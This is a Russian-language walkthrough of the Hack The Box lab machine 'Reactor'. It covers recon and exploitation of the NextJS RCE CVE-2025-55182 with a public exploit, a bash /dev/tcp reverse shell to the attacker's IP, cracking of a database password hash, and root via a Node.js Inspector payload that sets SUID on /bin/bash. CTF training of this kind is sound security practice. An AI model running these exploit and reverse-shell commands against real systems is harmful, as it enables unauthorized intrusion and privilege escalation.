The Daily Newsstand · Free, Always
Friday, September 11, 2026

Прохождение машины Reactor на Hack The Box

Translate

Привет, хабр! Сегодня будем взламывать сезонную машину из уже прошедшего 11-го сезона на Hack The Box. Нам предстоит проэксплуатировать уязвимость NextJS, наделавшую шума в конце 2025 года, крякнуть пользовательский хеш и повысить привилегии через забытый отладочный порт. Интересно? Тогда приступим!

Разведка

Как и полагается, первым делом определим открытые порты на атакуемом хосте:

sudo nmap -A 10.129.128.213
Рисунок 1 - Результат сканирования Nmap

Рисунок 1 - Результат сканирования Nmap

По результатам работы Nmap видно, что открыты следующие порты:

  • 22/tcp - OpenSSH

  • 3000/tcp - ppp?

Скрипты определили, что на 3000 порту работает веб-приложение. Давайте посмотрим, что там находится:

Рисунок 2 - Главная страница веб-приложения

Рисунок 2 - Главная страница веб-приложения

Как показано на картинке выше, приложение представляет собой систему мониторинга состояния некого реактора. К сожалению, интерактивных элементов на странице обнаружить не удалось, как и комментариев с полезной информацией, любезно оставленных разработчиками. Не беда! Приступим к фаззингу.

Фаззинг

Данный этап будем проводить с помощью инструмента ffuf:

ffuf -u http://10.129.128.213:3000/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt
Рисунок 3 - Фаззинг файлов

Рисунок 3 - Фаззинг файлов

ffuf -u http://10.129.128.213:3000/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt
Рисунок 4 - Фаззинг конечных точек

Рисунок 4 - Фаззинг конечных точек

В результате перебора, файлов, папок и конечных точек не обнаружено. Не будем отчаиваться! Давайте посмотрим версии используемых фреймворков.

Первоначальный доступ

С помощью браузерного расширения Wappalayzer определим версию NextJS:

Рисунок 5 - Wappalayzer

Рисунок 5 - Wappalayzer

Ага! Используется не самая новая версия фреймворка. Пора проверять, не имеет ли она каких-либо серьезных уязвимостей (спойлер: имеет!).

При первом же запросе гугл выдает информацию о CVE-2025-55182, имеющую 10 баллов по шкале CVSS:

Рисунок 6 - Гуглим CVE

Рисунок 6 - Гуглим CVE

Данная уязвимость также известна как React2Shell. Суть заключается в том, что backend приложения небезопасно десериализует данные, передаваемые в HTTP-запросах, что в итоге приводит к удаленному выполнению кода. Эта уязвимость наделала шуму в конце 2025 года, так как не требует авторизации и затрагивает огромное количество веб-приложений, разработанных с помощью одного из самых популярных стеков React/NextJS.

На GitHub найден публичный эксплойт данной CVE:

Рисунок 7 - Эксплойт на GitHub

Рисунок 7 - Эксплойт на GitHub

Давайте скачаем его и приступим к эксплуатации:

git clone https://github.com/Chocapikk/CVE-2025-55182
cd CVE-2025-55182
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt 
python3 exploit.py -u http://10.129.128.213:3000/ -c "id"
Рисунок 8 - Эксплуатация уязвимости

Рисунок 8 - Эксплуатация уязвимости

Как видим, эксплойт успешно отрабатывает. Пора прокинуть шелл! Благо, в скачанном скрипте есть встроенный функционал, позволяющий нам это сделать. Для начала посмотрим ip-адрес интерфейса OpenVPN:

ip a | grep tun0
Рисунок 9 - Просмотр ip-адреса

Рисунок 9 - Просмотр ip-адреса

После чего перейдем к установке шелла:

python3 exploit.py -u http://10.129.128.213:3000/ -r -l 10.10.17.135 -p 5555 -P nc-mkfifo
Рисунок 10 - Установка реверс шелла

Рисунок 10 - Установка реверс шелла

Но шелл, прокинутый таким способом неудобен в использовании, поскольку при вводе каждой команды требует двойного нажатия Enter. Не проблема! Прокинем стандартный bash reverse shell:

bash -c 'exec bash -i &>/dev/tcp/10.10.17.135/4444 <&1'
Рисунок 11 - Установка более стабильного реверс шелла

Рисунок 11 - Установка более стабильного реверс шелла

Далее приступим к апгрейду оболочки:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z # на клавиатуре
stty raw -echo; fg
stty rows 54 columns 209
Рисунок 12 - Улучшение оболочки

Рисунок 12 - Улучшение оболочки

Оболочка работает из под пользователя node. В домашнем каталоге найдено имя пользователя engineer. Нашей следующей целью будет получить доступ к его учетной записи.

Получение user.txt

В корневом каталоге веб-приложения находится база данных reactor.db:

Рисунок 13 - Обнаружение reactor.db

Рисунок 13 - Обнаружение reactor.db

Если посмотреть её содержимого с помощью sqlite3, то обнаружим вызывающую интерес таблицу users:

sqlite3 reactor.db
.tables
Рисунок 14 - Обнаружение таблицы users

Рисунок 14 - Обнаружение таблицы users

При просмотре всех записей этой таблицы найдем хеши пользовательских паролей:

select * from users;
Рисунок 15 - Хеши пользовательских паролей

Рисунок 15 - Хеши пользовательских паролей

Если попробуем перебрать хеши с помощью утилиты Hashcat и словаря rockyou, то получим пароль от учетной записи engineer:

hashcat -m 0 "39d97110eafe2a9a68639812cd271e8e" /usr/share/wordlists/rockyou.txt
Рисунок 16 - Получение пароля пользователя engineer

Рисунок 16 - Получение пароля пользователя engineer

Выполним подключение по SSH и получим содержимое файла user.txt:

ssh engineer@10.129.128.213
cat user.txt
Рисунок 17 - Получение user,txt

Рисунок 17 - Получение user,txt

Получение root.txt

Давайте посмотрим какие процессы запущены в системе от root:

ps aux | grep root
Рисунок 18 - Просмотр процессов

Рисунок 18 - Просмотр процессов

Как видно по выводу команды, от пользователя root на 9229 порту запущен встроенный инструмент отладки NodeJS Inspector, через который можно выполнять системные команды. Данный инструмент предназначен для разработки. На рабочем сервере его обычно отключают, потому что он увеличивает поверхность атаки и даёт мощный интерфейс управления процессом. Чтобы воспользоваться промахом разработчика, нам необходимо взаимодействие по протоколу WebSocket. Для этого перекинем на уязвимую машину бинарник утилиты websocat:

Рисунок 19 - Необходимый бинарник

Рисунок 19 - Необходимый бинарник

Переименуем файл для удобства и поднимем веб-сервер:

mv websocat.x86_64-unknown-linux-musl websocat 
sudo python -m http.server 80

На уязвимой машине скачаем websocat и дадим ему права на выполнение:

wget 10.10.17.135/websocat
chmod +x websocat
Рисунок 20 - Скачивание websocat

Рисунок 20 - Скачивание websocat

Проверим доступность конечной точки и запомним id, возвращаемое в ответе:

curl -s http://127.0.0.1:9229/json
Рисунок 20 - Проверка доступности конечной точки

Рисунок 20 - Проверка доступности конечной точки

Отправим следующую полезную нагрузку:

echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\").toString()"}}' | ./websocat ws://127.0.0.1:9229/1177c6f5-f0d8-4662-871b-d7606ee1080b
Рисунок 21 - Отправка полезной нагрузки

Рисунок 21 - Отправка полезной нагрузки

С помощью данной полезной нагрузки мы добавили SUID-бит к /bin/bash, что дает права root любому, кто запустит эту оболочку:

ls -la /bin/bash
Рисунок 22 - Добавление SUID-бита

Рисунок 22 - Добавление SUID-бита

Запустим оболочку и прочитаем root.txt:

bash -p
cat root.txt
Рисунок 23 - Получение root.txt

Рисунок 23 - Получение root.txt

Вот и подошла к концу компрометация машины Reactor. Благодарю за прочтение статьи и желаю успехов в дальнейших прохождениях!

View the original on Хабр

KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.